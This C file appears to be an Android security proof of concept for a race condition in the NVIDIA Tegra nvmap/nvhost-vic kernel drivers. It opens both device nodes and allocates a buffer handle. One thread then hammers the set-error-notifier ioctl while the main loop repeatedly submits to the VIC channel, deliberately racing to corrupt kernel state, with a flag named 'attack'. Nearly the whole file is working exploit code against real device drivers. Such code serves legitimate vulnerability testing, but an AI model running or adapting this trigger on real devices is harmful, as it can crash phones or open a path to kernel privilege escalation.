/* * Copyright (C) 2017 The Android Open Source Project * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ #define _GNU_SOURCE #include #include #include #include #include #include #include #include #include #include #include #include #include // for syscall #include // for futex #include #include #define LOG(fmt, ...) printf(fmt "\n", ##__VA_ARGS__) #define ERR(fmt, ...) printf(fmt ": %d(%d)\n", ##__VA_ARGS__, errno, errno) #define ARRAY_SIZE(a) (sizeof(a) / sizeof((a)[0])) #define NVMAP_IOC_MAGIC 'N' struct nvmap_create_handle { union { __u32 id; /* FromId */ __u32 size; /* CreateHandle */ __s32 fd; /* DmaBufFd or FromFd */ }; __u32 handle; /* returns nvmap handle */ }; #define NVMAP_IOC_CREATE _IOWR(NVMAP_IOC_MAGIC, 0, struct nvmap_create_handle) #define NVHOST_IOCTL_MAGIC 'H' struct nvhost_set_error_notifier { __u64 offset; __u64 size; __u32 mem; __u32 padding; }; #define NVHOST_IOCTL_CHANNEL_SET_ERROR_NOTIFIER \ _IOWR(NVHOST_IOCTL_MAGIC, 111, struct nvhost_set_error_notifier) struct nvmap_alloc_handle { __u32 handle; /* nvmap handle */ __u32 heap_mask; /* heaps to allocate from */ __u32 flags; /* wb/wc/uc/iwb etc. */ __u32 align; /* min alignment necessary */ }; #define NVMAP_IOC_ALLOC _IOW(NVMAP_IOC_MAGIC, 3, struct nvmap_alloc_handle) static int set_affinity(int num) { int ret = 0; cpu_set_t mask; CPU_ZERO(&mask); CPU_SET(num, &mask); ret = sched_setaffinity(0, sizeof(cpu_set_t), &mask); if(ret == -1){ printf("[-] set affinity failed: [%d]-%d\n", errno, errno); } return ret; } struct nvhost_submit_args { __u32 submit_version; __u32 num_syncpt_incrs; __u32 num_cmdbufs; __u32 num_relocs; __u32 num_waitchks; __u32 timeout; __u32 flags; __u32 fence; /* Return value */ __u64 syncpt_incrs; __u64 cmdbuf_exts; __u64 pad[3]; /* future expansion */ __u64 cmdbufs; __u64 relocs; __u64 reloc_shifts; __u64 waitchks; __u64 waitbases; __u64 class_ids; __u64 fences; }; #define NVHOST_IOCTL_CHANNEL_SUBMIT \ _IOWR(NVHOST_IOCTL_MAGIC, 26, struct nvhost_submit_args) struct nvhost_syncpt_incr { __u32 syncpt_id; __u32 syncpt_incrs; }; #define CLOSE_THREAD_NUM 1 #define TRY_TIMES 2 #define NVMAPDEV "/dev/nvmap" #define VICDEV "/dev/nvhost-vic" #define SYNC_NUM 1 struct nvhost_set_error_notifier err1 = { 0 }, err2 = { 0 }; pthread_t close_thread_id[CLOSE_THREAD_NUM] = { 0 }; int nvmap, vic; volatile int attack; void* close_thread(void* no_use) { int ret; set_affinity(1); while(attack){ ret = ioctl(vic, NVHOST_IOCTL_CHANNEL_SET_ERROR_NOTIFIER, &err1); } return NULL; } int main() { int i, j, ret; int dma1, dma2; struct nvmap_create_handle args = { .size = PAGE_SIZE }; struct nvmap_alloc_handle alloc = { .heap_mask = 0xFFFFFFFF }; struct nvhost_syncpt_incr incr[SYNC_NUM]; struct nvhost_submit_args submit = { .num_syncpt_incrs = SYNC_NUM, .syncpt_incrs = (intptr_t)incr, .timeout = 1, //.class_ids = (intptr_t)&ret }; memset(incr, 0, sizeof(incr)); incr[0].syncpt_id = 6; /* bind_cpu */ set_affinity(0); nvmap = open(NVMAPDEV, O_RDONLY); if(nvmap == -1) ERR("[-] open %s failed", NVMAPDEV); else LOG("[+] open %s OK", NVMAPDEV); vic = open(VICDEV, O_RDONLY); if(vic == -1) ERR("[-] open %s failed", VICDEV); else LOG("[+] open %s OK", VICDEV); // prepare ret = ioctl(nvmap, NVMAP_IOC_CREATE, &args); if(ret) ERR("[-] ioctl NVMAP_IOC_CREATE failed"); else LOG("[+] NVMAP_IOC_CREATE succeeded, fd = %d", args.handle); dma1 = args.handle; err1.mem = dma1; alloc.handle = dma1; ret = ioctl(nvmap, NVMAP_IOC_ALLOC, &alloc); if(ret) ERR("[-] ioctl NVMAP_IOC_ALLOC failed"); else LOG("[+] NVMAP_IOC_ALLOC succeeded"); /* create close thread */ attack = 1; for(i = 0; i < CLOSE_THREAD_NUM; i++){ ret = pthread_create(close_thread_id + i, NULL, close_thread, NULL); } LOG("[+] running..."); while(1) { ret = ioctl(vic, NVHOST_IOCTL_CHANNEL_SUBMIT, &submit); } LOG("[-] passed :("); attack = 0; for(i = 0; i < CLOSE_THREAD_NUM; i++) { pthread_join(close_thread_id[i], NULL); } return 0; }